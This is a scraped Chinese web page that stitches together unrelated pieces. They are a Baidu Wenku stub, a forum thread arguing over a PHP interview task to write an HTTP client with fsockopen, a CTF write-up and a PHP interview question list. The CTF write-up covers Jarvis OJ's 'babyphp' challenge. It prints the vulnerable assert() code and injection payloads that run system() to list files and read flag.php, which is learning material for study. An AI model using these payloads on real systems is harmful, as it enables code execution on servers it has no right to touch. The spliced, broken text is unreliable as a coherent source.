php的一道题目

php之75道经典逻辑思考题(附参考答案)_百度文库
您的浏览器Javascript被禁用,需开启后体验完整功能,
享专业文档下载特权
&赠共享文档下载特权
&10W篇文档免费专享
&每天抽奖多种福利
两大类热门资源免费畅读
续费一年阅读会员,立省24元!
php之75道经典逻辑思考题(附参考答案)
&&PHP经典75道逻辑思考题,附参考答案。
阅读已结束,下载本文需要
想免费下载本文?
定制HR最喜欢的简历
下载文档到电脑,同时保存到云知识,更方便管理
加入VIP
还剩32页未读,
定制HR最喜欢的简历
你可能喜欢职友集:一家做公司点评的网站针对实习生,我出的这道 PHP 笔试题很难么?
· 119 天前 · 11016 次点击
使用 fsockopen、fwrite、fread 等实现自己的 HTTP Client。
支持 Get、Post 两种访问模式。
支持设置 Post 参数。
支持设置 Cookie。
就这么一道题目,几乎没有做上来的。。
我的笔试题是提前告诉的,偶尔有提前背过题目来的,但是对 fwrite、fread 等函数的参数和返回值完全说不清楚。
??哎,既然背过了,为什么不一起看看文档。。。
补一个招聘信息:
#北京望京# 招聘 iOS、Android、PHP、Web 攻城狮
160 回复 &| &直到
15:31:55 +08:00
& &119 天前
我就出给两个日期求相差多少天,都没有几个能做对的……
& &119 天前 via iPhone
如果你能够给出好的待遇,你寻找的是真正的程序员,那么题目不难。
如果你给的待遇只是要找码农,那么题目难了。
从你们招聘网站描述的笔试过程,也能看出来,你们寻找的是有创造能力的人,但这个世界上,甭管是实习生还是已经工作了 20 年的,大多数只想做一个按部就班的代码工人。
& &119 天前
@ 大兄弟过分了啊
& &119 天前
文档是用来查的,不是用来背的...当然如果能记在心里肯定再好不过.
但是开发人员最重要的素质还是解决问题的能力与思路,而不是熟练记住针对某个特定细节的实现.
如果作为一个测试,一道题自然不能面面俱到,所以题目还是应该侧重在容易体现出个人潜质上限的指标上
& &119 天前 via iPhone
这题要真写,我也写不出,平时都不用这玩意。出点算法考考基本功才是真的
& &119 天前
最高才日薪 300,30 天全勤也就只有 9k
你这题目是要求把 PHP 手册从头背到尾,不给 9w 对得起?
& &119 天前 via Android
文档不是生产工具之一吗?还要背?感觉出这种题就应该提供文档!除非背书而不是编程。
& &119 天前 via Android
php 还脱离文档编程,太自信了
& &119 天前
& &119 天前 via Android
@ 刚看到是提前告诉的。。。错怪 lz 了
& &119 天前
高性能 php 不是说自己实现一个 http 服务器啊
& &119 天前 via iPhone
工作好多年的 PHP 开发真的写不出来!惭愧
& &119 天前 via iPhone
最高 300 …月 6.6k … 7k 未到喔…出 7w 的题…牛!
& &119 天前 via Android
大概是大一大二学生大作业的难度?
& &119 天前
本来以为是到无聊的题,突然发现题目是提前告诉的。那这样出题没什么争执了
也就是说可以查文档,整理好答案之后再来面试。如果给时间去整理答案都整理不出来,确实不适合。
& &119 天前 via iPhone
写这个能给到 7w ?
& &119 天前 via Android
printf 的参数你会吗?
& &119 天前
作为一个不算精通的,golang kotlin java scale php node 工程师,文档我是背不了那么多的,一个语言会几种杀手级的框架,我就满意了,比如 play2 laravel phacon spring boot react react-native electron 等,再熟悉一些 Thread 的开发,我的人生就到此为止了
& &119 天前
题目确实没什么用处,不过可以上网也算是考察你解决问题的能力
& &119 天前
题目是提前告知的这个没问题,不过结果这么差感觉你们筛选简历的能力有待提高,还有可能岗位待遇不够吸引人没有吸引到合适的人来面试
& &119 天前
过分了啊楼主,拿几万月薪的全职开发人员的要求(实际上很可能这样资深的人都答不上来)来对待不到两千的实习生。对实习生,该问的是 http 请求的大致原理,而不是在具体语言上的实现
& &119 天前
本来想吐槽下 LZ 为啥要出这样的题目 -- 显然能直接答的上来的哪还用找 PHP 实习生的工作。
不过看到 “我的笔试题是提前告诉的” ,我觉得这些答不上来的就基本不可以原谅了 -- 都有充足的时间来查资料了还答不上来,那要不是懒要么是笨,不招也罢。
& &119 天前
个人认为面试不应该拿你熟悉的去考别人,或者拿平时不常用的去考别人。而是了解对方做过什么项目,涉及到的技术和遇到问题自己的解决方法。可以根据他的项目经验设计一个稍微复杂点的类似的问题看看他的解决思路
& &119 天前
世界这么大,技术这么多。绵绵俱到的人事很少的。做事需要团队合作,只需要各有所专合作好就行了
& &119 天前
楼主不是说的实现一个 Http Client 吗,为什么都在说实现一个 Http Server 不难。。。
& &119 天前
@ 想多了。。。。
& &119 天前
@ #126 我也觉得
& &119 天前
@ 因为实现一个基本的 HTTP Client 更简单呀。socket 连上了之后发个 GET 就好了。HTTP Server 的话最起码得加上多线程 /异步技术。
& &118 天前
哈哈,作为一个工作两年多的 php,不查资料的情况下真答不上了,socket 现在都依赖于 swoole 和 workerman 了。如果要真写,只有查文档了,当然,我比较菜吧。凭空问一个实习生真是答不上来。
& &118 天前
讲真,正常开发 php 几年的人也很少用这几个函数吧。。。除非你们有这方面的业务,但真的实际需要写服务端底层监听的都是招 C++啊。。。
& &118 天前
只有我一个人只会写 curl 的吗
& &118 天前
昨天特意用 Python 写了个。各位看代码:
确实很简单,但是好久不写就忘记了。
& &118 天前
掐指一算,工作了十年,手写不出来。
& &118 天前
我也写不出来。
这个题是你自己意淫的歪题,并不能考察常用的技术和对 PHP 的理解。
我出一道题看看楼主能不能答得出来?不歪:
PHP 5.3 是怎么做到既兼容旧代码又支持命名空间的?如果是你你应该怎么做?
& &118 天前
写了 2 年的 php 不会写这个题目。
最近写了 2 天的 node 会写这个题目了。
只能说,术业有专攻。
这不是 php 擅长的领域,比较走锋了。
& &118 天前
工作好多年的 PHP 开发真的写不出来!惭愧 !
希望有一天能和楼主一起学习
& &118 天前
我觉得楼主没做错什么啊…喷楼主的是不是漏看了这一句「我的笔试题是提前告诉的」
& &118 天前
我面试时候怎么没遇到过这么简单的题。
& &118 天前
给看文档就不难,不给看文档直接走人
& &118 天前 via Android
@ 我也这么觉得,当然要是提前 10 分钟给的,也就没啥意义了,提前一天两天给的,还不去查下看下?
& &118 天前
建议楼主讲讲其他的面试者的情况
& &118 天前
这东西虽然基础。但平时基本上不会常用吧。。。。。
& &118 天前
@ .......用 PHP 原生函数行吗?感觉不要太简单, 就 strtotime
& &118 天前
@ date(),strtotime()这两个函数在实际工作中,比 fsockopen、fwrite、fread 常用多了。所以你出的题我会,楼主出的题我真不会
& &118 天前
论钓鱼贴如果写?楼主已经驾轻就熟。相信很多人都忽略了这一句「我的笔试题是提前告诉的」
& &118 天前
坐标 TJSU 大三 SE 某视频大厂 php 实习生 .
如果是提前告知 这种题写不出来就有问题了
& &118 天前
问了下干了 5 年 PHP 的朋友,现在拿 25k,没给做出来
& &118 天前
这道题说简单也简单,如果只为了解决那三个问题,不考虑其他的,那就是个文本对话单线程程序,根据条件改变文本就行了。
但如果要考虑各种通用性各种异常,这道题可以难到写个 wget 的要求了。
当然这种题目往好里说考察范围广泛,往坏里说就是需求模糊故意刁难。
& &118 天前
我觉得挺简单,了解 HTTP 协议的应该很容易写出来。
& &118 天前
有点不行,居然在北京。在深圳的话,果断请假去面试去!
& &118 天前
我就出给两个日期求相差多少天,都没有几个能做对的……
这个简单啊!
& &118 天前
楼主有行字叫提前给过题目了
所以应该是查文档写得出来的
& &118 天前
@ 我看招聘内容页没特别写明是这道题。
& &118 天前
说实话哈,这道题如果要较真,细节要是纠结起来,楼主自己出的题,估计自己做也不合格
如果是按照规范,简单写一个流程可以跑通的,不考虑太多细节的,那么应届计算机写不出来,还是不应该的
& &118 天前
不知道题主能否写出来,现在月薪有 7W 吗?一道题就给人分三六九等,真牛逼
& &118 天前
& &118 天前
@ 提前告诉你吧 apache httpcomponent 中的 client 部分用 php 实现一遍?
这难度也不低哦
让你发出一个 http post/get 和实现一个组件那难度不是一个档次
除非给了明确的测试用例并且保证测试者不会乱来
& &118 天前
13 寸显示屏 显示的官网是这样的, 不考虑优化一下吗
& &118 天前
我觉得可以 seo 了
阿卡信公司怎么样?
阿卡信是做什么的?
阿卡信的薪资如何?
阿卡信招聘
阿卡信面试题
& &118 天前
这题目倒是不难,你让我说我能说出来,但是你让我写我不写。还问函数参数??我都记得要 dash 干什么
& · & 3262 人在线 & 最高记录 3762 & · &
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.1 · 22ms · UTC 01:44 · PVG 09:44 · LAX 18:44 · JFK 21:44? Do have faith in what you're doing.记一道CTF题babyphp之学习代码注入
0x00写在前面的话
最近打算刷刷CTF题目,提升一下自身的见识面,这里碰到了一个代码注入的题目特作记录,大牛勿喷。。。
0x01做题的整体思路
做题的地址,http://web.jarvisoj.com:32798/
打开地址,随机点击发现都是展示对应的界面,做过开发的我,直觉告诉我应该是传入一个字符串展示对应页面,这样我随机点了一下,发现about里面有GIT,猜测应该是GIT信息泄露,果断访问一下http://web.jarvisoj.com:32798/.git发现这的是这样的,当然用githacker工具下载源码,下载源码后发现了关键代码如下:
if (isset($_GET['page'])) {
$page = $_GET['page'];
$page = "home";
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?&这里发现对输入page进行了过滤,这里巧妙的利用了代码注入,。。。。可以实现我们需要执行的代码,payload如下:
http://web.jarvisoj.com:32798/?page=flag'.system("ls templates/;").' ,发现有这些页面:
about.phpcontact.phpflag.phphome.phpabout.phpcontact.phpflag.phphome.phpThat file doesn't exist!
当时我想的是能否直接用这样的payload实现查看源代码呢?http://web.jarvisoj.com:32798/?page=flag'.system("cat templates/flag.").' 发现不能执行,这激发了我对system()函数的进一步学习,这里不表,
接着请教大神发给我如下payload:http://web.jarvisoj.com:32798/?page=','..')===False and system('cat templates/flag.php');//
大体可以理解什么意思,但没有很深的明白为什么这个可以我自己前面构造不行,
61dctf writeup
Jarvis OJ PHPINFO【审计代码反序列化】
2016xctf一道ctf题目
CTF web总结
CTF/CTF练习平台-welcome to bugkuctf【php://filter及php://input】
CTF——php弱类型
【CTF】PHP漏洞(学习积累中)
CTF Web php://filter文件内容包含漏洞
没有更多推荐了,400-650-7353
2018腾讯网PHP面试题
小编寄语:这是一份比较全面的PHP面试题.对准备去新公司应聘PHP职位的开发者应该有帮助.或者说,对招聘PHP开发人员的企业也有些帮助,不过就不要原样打印出来考了,稍微改一改.随优就业小编一起来看一下吧!
简述题(50分)
1、用PHP打印出前一天的时间格式是 22:21:21(2分)
2、echo(),print(),print_r()的区别(3分)
3、能够使HTML和PHP分离开使用的模板(1分)
4、使用哪些工具进行版本控制?(1分)
5、如何实现字符串翻转?(3分)
---------------------------------------------------------------
6、优化MYSQL数据库的方法。(4分,多写多得)
7、PHP的意思(送1分)
8、MYSQL取得当前时间的函数是?,格式化日期的函数是(2分)
9、实现中文字串截取无乱码的方法。(3分)
---------------------------------------------------------------
10、您是否用过版本控制软件? 如果有您用的版本控制软件的名字是?(1分)
11、您是否用过模板引擎? 如果有您用的模板引擎的名字是?(1分)
12、请简单阐述您最得意的开发之作(4分)
13、对于大流量的网站,您采用什么样的方法来解决访问量问题?(4分)
-----------------------------------------------------------------
14、用PHP写出显示客户端IP与服务器IP的代码1分)
15、语句include和require的区别是什么?为避免多次包含同一文件,可用(?)语句代替它们? (2分)
16、如何修改SESSION的生存时间(1分).
17、有一个网页地址, 比如PHP研究室主页: http://www.phpv.net/index.html,如何得到它的内容?($1分)
18、在HTTP 1.0中,状态码401的含义是(?);如果返回&找不到文件&的提示,则可用 header 函数,其语句为(?);(2分)
19、在PHP中,heredoc是一种特殊的字符串,它的结束标志必须?(1分)
20、谈谈asp,php,jsp的优缺点(1分)
21、谈谈对mvc的认识(1分)
-------------------------------------------------------------------
22、写出发贴数最多的十个人名字的SQL,利用下表:members(id,username,posts,pass,email)(2分)
23. 请说明php中传值与传引用的区别。什么时候传值什么时候传引用?(2分)
24. 在PHP中error_reporting这个函数有什么作用? (1分)
25. 请写一个函数验证电子邮件的格式是否正确 (2分)
26. 简述如何得到当前执行脚本路径,包括所得到参数。(2分)
27.如何修改SESSION的生存时间. (1分)
--------------------------------------------------------------------
28、JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
29、JS的转向函数是?怎么引入一个外部JS文件?(2分)
30、foo()和@foo()之间有什么区别?(1分)
31、如何声明一个名为&myclass&的没有方法和属性的类? (1分)
32、如何实例化一个名为&myclass&的对象?(1分)
33、你如何访问和设置一个类的属性? (2分)
34、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
--------------------------------------------------------------------
35、GD库是做什么用的? (1分)
36、指出一些在PHP输入一段HTML代码的办法。(1分)
37、下面哪个函数可以打开一个文件,以对文件进行读和写操作?(1分)
(a) fget() (b) file_open() (c) fopen() (d) open_file()
38、下面哪个选项没有将 john 添加到users 数组中? (1分)
(a) $users[] = &john&;
(b) array_add($users,&john&);
(c) array_push($users,&john&);
(d) $users ||= &john&;
39、下面的程序会输入是否?(1分)
$num = 10;
function multiply(){
$num = $num * 10;
multiply();
40、使用php写一段简单查询,查出所有姓名为&张三&的内容并打印出来 (2分)
表名 UserName Tel Content Date
张四 021- 中专毕业
请根据上面的题目完成代码:
$mysql_db=mysql_connect(&local&,&root&,&pass&);
@mysql_select_db(&DB&,$mysql_db);
41、如何使用下面的类,并解释下面什么意思?(3)
class test{
function Get_test($num){
$num=md5(md5($num).&En&);
----------------------------------------------------------------------------
42、写出 SQL语句的格式 : 插入 ,更新 ,删除 (4分)
表名 UserName Tel Content Date
张四 021- 中专毕业
(a) 有一新记录(小王
高中毕业 )请用SQL语句新增至表中
(b) 请用sql语句把张三的时间更新成为当前系统时间
(c) 请写出删除名为张四的全部记录
43、请写出数据类型(int char varchar datetime text)的意思; 请问varchar和char有什么区别(2分)
44、MySQ自增类型(通常为表ID字段)必需将其设为(?)字段(1分)
45、写出以下程序的输出结果 (1分)
$a=$b&$c?4:5;
46、检测一个变量是否有设置的函数是否?是否为空的函数是?(2分)
-----------------------------------------------------------------------------
47、取得查询结果集总数的函数是?(1分)
48、$arr = array('james', 'tom', 'symfony'); 请打印出第一个元素的值 (1分)
49、请将41题的数组的值用','号分隔并合并成字串输出(1分)
50、$a = 'abcdef'; 请取出$a的值并打印出第一个字母(1分)
51、PHP可以和sql server/oracle等数据库连接吗?(1分)
52、请写出PHP5权限控制修饰符(3分)
53、请写出php5的构造函数和析构函数(2分)
官方微信更多精彩,扫码关注 或微信搜索:ujiuye
官方微博更多精彩,扫码关注 或微博搜索:优就业
注:本站稿件未经许可不得转载,转载请保留出处及源文件地址。
(责任编辑:changj)
关键词阅读
[免责声明]本文来源于网络转载,仅供学习交流使用,不构成商业目的。版权归原作者所有,如涉及作品内容、版权和其它问题请在30日内与本网联系,我们将在第一时进行处理
(点击一键加群)}

我要回帖

更多关于 php网站答辩题目 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信